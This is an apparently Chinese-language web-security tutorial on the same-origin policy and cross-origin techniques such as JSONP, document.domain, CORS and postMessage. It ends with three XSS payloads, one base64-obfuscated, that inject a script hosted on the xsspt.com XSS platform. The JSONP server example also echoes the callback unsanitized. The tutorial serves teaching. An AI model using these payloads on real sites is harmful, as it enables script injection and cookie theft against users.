这是自己写的 Web 安全从零开始系列之 XSS 篇。第二篇讲解同源策略与XSS
[TOC]
跨域
XSS 离不开的问题就是跨域问题,也是比较常见的问题。
介绍
这里简单地介绍一下什么是同源策略。
所谓跨域,或者异源,是指主机名(域名)、协议、端口号只要有其一不同,就为不同的域(或源)。浏览器中有一个基本的策略,叫同源策略,即限制“源”自A的脚本只能操作“同源”页面的DOM。
浏览器中,<script>
/<img>
/<iframe>
/<link>
等标签都是可以跨域来加载资源的,而不受同源策略的影响。带"src"属性的标签每次加载时,实际上都是浏览器发起了一次"GET"请求。
不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器是限制了javascript的权限,使其不能够读写返回的内容。对于 XMLHttpRequest来说,它可以访问来自同源对象的内容。但是不能够访问跨域访问资源,所有在ajax开发中尤其需要注意这点在w3c委员会制 定了XMLHttpRequest跨域访问标准。他需要通过目标域返回的HTTP头授权是否允许跨域访问,因为HTTP头对于javascript来说一 般是无法控制的,所以认为这个方案是可行的。
对于浏览器来说:除了DOM、Cookie、XMLHttprequest会受到同源策略的限制外,浏览器加载的第三方插件也有各自的同源策略。例如:flash,java applet,silverlight,coogle gears等。
跨域方法
- 通过jsonp跨域
- document.domain + iframe跨域
- location.hash + iframe
- window.name + iframe跨域
- postMessage 跨域
- 跨域资源共享(CORS)
- nginx代理跨域
- nodejs中间件代理跨域
- WebSocket协议跨域
这里简单介绍几种,其余的可以参考前端常见跨域解决方案(全)
JSONP
对于一段 JavaScript 脚本来说,其“源”与它存储的地址无关,而取决于脚本被加载的页面,例如我们在页面中使用<script>
引入存储在其他域的脚本文件:
<script src="http://www.a.com/index.js"></script>
Jsonp 正是利用这种特性来实现跨域的:在页面中引入要跨域访问的来源,并定义回调函数处理跨域访问得到的json 数据。如:
<script>
function handleData(data) {
//处理数据
}
</script>
<script src="http://www.a.com/getData.do?callback=handleData"></script>
服务端代码:
String handleData = request.getParameter("callback");//客户端的回调函数
out.println(handleData+"("+resultJSON+")");//返回jsonp格式数据
缺陷是只能用于 GET 请求
Document.domain
www.a.com/1.html和a.com/2.html是不同域的,要使他们可以跨域访问,可通过修改document.domain来实现,即在两个页面中都设置:
document.domain="a.com";
需要注意的是document.domain
只能往父级修改,如 a.com 改为 www.a.com 是不被允许的,这也是此方法的局限性,只使用于跨子域访问。
CROS 跨域资源共享
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)跨域资源共享 CORS 详解。看名字就知道这是处理跨域问题的标准做法。
普通跨域请求:只服务端设置Access-Control-Allow-Origin即可,前端无须设置,若要带cookie请求:前后端都需要设置。
需注意的是:由于同源策略的限制,所读取的cookie为跨域请求接口所在域的cookie,而非当前页。
postMessage 跨域
postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题:
- 页面和其打开的新窗口的数据传递
- 多窗口之间消息传递
- 页面与嵌套的iframe消息传递
- 上面三个场景的跨域数据传递
postMessage(message, targetOrigin, [transfer]);
message
将要发送到其他 window的数据。它将会被结构化克隆算法序列化。这意味着你可以不受什么限制的将数据对象安全的传送给目标窗口而无需自己序列化。
targetOrigin
通过窗口的origin属性来指定哪些窗口能接收到消息事件,其值可以是字符串"*"(表示无限制)或者一个URI。在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者的任意一项不匹配targetOrigin提供的值,那么消息就不会被发送;只有三者完全匹配,消息才会被发送。这个机制用来控制消息可以发送到哪些窗口;例如,当用postMessage传送密码时,这个参数就显得尤为重要,必须保证它的值与这条包含密码的信息的预期接受者的origin属性完全一致,来防止密码被恶意的第三方截获。如果你明确的知道消息应该发送到哪个窗口,那么请始终提供一个有确切值的targetOrigin,而不是*。不提供确切的目标将导致数据泄露到任何对数据感兴趣的恶意站点。
transfer
是一串和message 同时传递的
Transferable
对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
举个例子:
a.html:(http://www.domain1.com/a.html)
<iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
<script>
var iframe = document.getElementById('iframe');
iframe.onload = function() {
var data = {
name: 'aym'
};
// 向domain2传送跨域数据
iframe.contentWindow.postMessage(JSON.stringify(data), 'http://www.domain2.com');
};
// 接受domain2返回数据
window.addEventListener('message', function(e) {
alert('data from domain2 ---> ' + e.data);
}, false);
</script>
b.html:(http://www.domain2.com/b.html))
<script>
// 接收domain1的数据
window.addEventListener('message', function(e) {
alert('data from domain1 ---> ' + e.data);
var data = JSON.parse(e.data);
if (data) {
data.number = 16;
// 处理后再发回domain1
window.parent.postMessage(JSON.stringify(data), 'http://www.domain1.com');
}
}, false);
</script>
XSS 中的跨域
这里给 xsspt.com 上的几个例子
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzc3B0LmNvbS9YWGN4b3U/JytNYXRoLnJhbmRvbSgp'))>
<script src=//xsspt.com/XXcxou></script>
或者
javascript:eval('window.s=document.createElement("script");window.s.src="//xsspt.com/XXcxou";document.body.appendChild(window.s)')